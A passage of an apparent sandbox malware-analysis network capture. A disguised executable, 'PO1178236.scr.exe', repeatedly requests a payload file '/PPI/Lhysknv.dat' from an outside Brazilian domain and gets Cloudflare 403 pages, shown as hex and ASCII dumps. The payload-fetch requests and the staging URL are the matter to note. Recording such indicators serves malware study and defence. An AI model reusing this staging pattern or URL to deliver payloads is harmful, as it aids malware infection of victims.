2025-01-09 07:29:00 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4db1lbNvyBwte1wh4X9iHEmzPWqS7IYDN3pPkEjnGER0nK7NXpVSYE9I%2B0gxbQafwa%2FyQukfc0VvpUNck6kmluH6P3EmfwjKiVipIOStdHYnmiv8lVtqMNTP0b4OxPKrc%2F113Tzjhh2RNKg7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6bb59d64270-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1707&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1639528&cwnd=225&unsent_bytes=0&cid=19065f38140efc02&ts=149&x=0"
2025-01-09 07:29:00 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 62 62 35 39 64 36 34 32 37 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6bb59d64270</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:00 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 62 62 35 39 64 36 34 32 37 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6bb59d64270',t:'MTczNjQwNzc0MC4wMDAwMDA='};var a
2025-01-09 07:29:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49802	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:01 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:01 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:16 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hu6OE69EqMV%2B0IfDIoTDuDfrsEQgebtVoBtWrD0qfLTEDNu6oN9k4wJI2tfs%2FR32LIdDjLvEHaIeqMipquEPjz5wKAGwt8OJJKPt%2F2dfdIp%2FOaAfUn0nYKB7XkeAvAEFAGdLxZrLQKxALJ8X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6bf2f4ec413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1658&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1566523&cwnd=181&unsent_bytes=0&cid=97ac076277d82fb7&ts=139&x=0"
2025-01-09 07:29:01 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 62 66 32 66 34 65 63 34 31 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6bf2f4ec413</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:01 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 62 66 32 66 34 65 63 34 31 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6bf2f4ec413',t:'MTczNjQwNzc0MS4wMDAwMDA='};var
2025-01-09 07:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49803	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:01 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:01 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:16 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ffqU%2B32YGtYKilTNk1QkTBDTViY2mYTQ%2FYeML7wklyXXS9YcFMDLruCt%2B%2FyEhYEb9a%2FajZ80e0FHnZucCtpFVeBgdzvh9Hbrg5H6KrlFA7jrzvVdARJdP%2BoL2DIsHfc7HfBJ5UpYzlyK%2FN7K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6c30bc772a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=2014&rtt_var=773&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1400479&cwnd=194&unsent_bytes=0&cid=d7ea9d90a5bcbceb&ts=147&x=0"
2025-01-09 07:29:01 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:01 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 63 33 30 62 63 37 37 32 61 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6c30bc772a1</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:01 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 63 33 30 62 63 37 37 32 61 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 53 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6c30bc772a1',t:'MTczNjQwNzc0MS4wMDAwMDA=
2025-01-09 07:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49804	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:02 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:02 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWR5OD3yewqAFwklnc58pRjPWjL4jzP0ks6mYc8AXelbF5EV7HvUkeLRjDLoAYxDvKZNI5I5mLuI5VPVcXQVuNwK1%2FSJL1seAoBaKcVqFhDJUzn5YAKw%2BcqV%2FRvW%2FP0tiCIk5Qxkti6mWnhQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6c6fa707d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1988&min_rtt=1975&rtt_var=767&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1402497&cwnd=192&unsent_bytes=0&cid=84dfe03f37042fa2&ts=152&x=0"
2025-01-09 07:29:02 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 